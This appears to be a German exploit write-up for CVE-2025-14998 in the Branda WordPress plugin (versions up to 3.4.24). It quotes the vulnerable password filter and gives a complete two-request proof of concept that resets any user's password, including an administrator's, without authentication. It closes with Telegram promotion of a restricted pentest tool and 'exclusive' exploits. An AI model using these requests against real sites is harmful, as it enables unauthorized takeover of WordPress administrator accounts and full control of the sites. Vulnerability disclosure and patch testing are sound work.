Wordpress Branda – White Label & Branding, Free Login Page Customizer <= 3.4.24 - Nicht authentifizierte Privilegieneskalation durch Kontoübernahme

CVE-2025-14998 Das Branda-Plugin für WordPress ist in allen Versionen bis einschließlich 3.4.24 anfällig für eine Privilegieneskalation durch Kontoübernahme. Dies ist darauf zurückzuführen, dass das Plugin die Identität eines Benutzers vor der Aktualisierung seines Passworts nicht ordnungsgemäß validiert. Dadurch ist es nicht authentifizierten Angreifern möglich, beliebige Benutzerpasswörter, einschließlich der von Administratoren, zu ändern und sich so Zugang zu deren Konten zu verschaffen.

Für weitere WordPress-Schwachstellen und exklusive Pentest-Tools kontaktiere mich auf Telegram @KtN1990.

🔍 Ursachenanalyse

Das Plugin überschreibt die Passwortgenerierungslogik von WordPress, indem es in den random_password-Filter eingreift. Anstatt WordPress ein sicheres, zufälliges Passwort generieren zu lassen, ersetzt das Plugin dieses durch eine vom Benutzer kontrollierte Eingabe.

Verwundbarer Code

public function password_random_password_filter( $password ) {
    global $wpdb, $signup_password_use_encryption;

    if ( isset( $_GET['key'] ) && ! empty( $_GET['key'] ) ) {
        $key = $_GET['key'];
    } elseif ( isset( $_POST['key'] ) && ! empty( $_POST['key'] ) ) {
        $key = $_POST['key'];
    }

    if ( ! empty( $_POST['password_1'] ) ) {
        $password = $_POST['password_1'];
    } elseif ( ! empty( $key ) ) {
        $signup = $wpdb->get_row(
            $wpdb->prepare(
                "SELECT * FROM $wpdb->signups WHERE activation_key = '%s'",
                $key
            )
        );

        if ( ! ( empty( $signup ) || $signup->active ) ) {
            $meta = maybe_unserialize( $signup->meta );

            if ( ! empty( $meta['password'] ) ) {
                if ( 'yes' === $signup_password_use_encryption ) {
                    $password = $this->password_decrypt( $meta['password'] );
                } else {
                    $password = $meta['password'];
                }
            }
        }
    }

    return $password;
}

🧪 Proof of Concept (bereinigt)

Schritt 1 – Passwort-Reset mit beliebigem Passwort auslösen

POST /wp/wp-login.php?action=lostpassword HTTP/1.1
Host: example.local
Content-Type: application/x-www-form-urlencoded

user_login=admin&
redirect_to=&
password_1=EfUSmvnTun5XbvE6RvIB&
wp-submit=Get+New+Password

Der Wert von password_1 kann eine beliebige, vom Angreifer kontrollierte Zeichenfolge sein.

---

Schritt 2 – Reset mit demselben Wert als Reset-Schlüssel abschließen

GET /wp/wp-login.php?login=admin&key=EfUSmvnTun5XbvE6RvIB&action=rp HTTP/1.1
Host: example.local

---

✅ Ergebnis

• WordPress akzeptiert das vom Angreifer kontrollierte Passwort
• Das Administrator-Passwort wird geändert
• Der Angreifer kann sich als der betroffene Benutzer authentifizieren

Es ist kein E-Mail-Zugriff oder gültiges Passwort-Reset-Token erforderlich.

---

💥 Auswirkungen

Ein nicht authentifizierter Angreifer kann:

• Passwörter für beliebige WordPress-Benutzer zurücksetzen
• Administrator-Konten übernehmen
• Die volle Kontrolle über die WordPress-Installation erlangen
• Plugins, Themes oder Inhalte ändern

Kontakt

• @KtN1990

Weitere Schwachstellen, schau dir Megatron an!

• 💣 Was ist Megatron? Megatron ist ein fortgeschrittenes Penetrationstest-Tool, das für ernsthafte Tester und Red Teamer entwickelt wurde. Egal, ob du Infrastrukturen auditierst, scannst oder testest – Megatron gibt dir die Leistung, die du brauchst.

-🛡️ Ideal für: – Sicherheitsforscher – Penetrationstester – Ethische Hacker

• 📦 Gepflegte Linie mit ~230 Legacy-Forschungsmodulen; jüngste Verbesserungen am Scanner-Kern für Stabilität und Erkennung.

• 🎯 Zweck: Stellt ausschließlich für autorisierte Sicherheitstests, Ausbildung, defensive Forschung und Red-Team-Training bereit. Diese Veröffentlichung ist nicht für rechtswidrige Nutzung bestimmt. Die Verteilung ist zugangsbeschränkt – Zugang nur nach Verifizierung und Unterzeichnung einer Vereinbarung über verantwortungsvolle Nutzung / NDA.

-🛡 Verantwortungsvolle Zugriffsrichtlinie (Zusammenfassung):

1. Zugang nur für verifizierte Sicherheitsexperten, Unternehmens-Sicherheitsteams, akkreditierte Labore oder Schulungsanbieter.
2. Du musst Organisationsname, Rolle, offizielle E-Mail (geschäftlich) und rechtmäßigen Zweck angeben.
3. Vollständiger Download wird erst nach Verifizierung und Unterzeichnung unserer Vereinbarung über verantwortungsvolle Nutzung / NDA gewährt.
4. Null Toleranz bei Missbrauch – Nachweise böswilliger Nutzung führen zum Entzug des Zugriffs und zu Meldungen, wo dies erforderlich ist.

• 📩 Kontakt / Anfragen / Verifizierung: @KtN1990 – Organisationsname, Rolle und kurzen Grund für den Zugriff angeben. Telegram-Kanal

Demo

Lizenz

MIT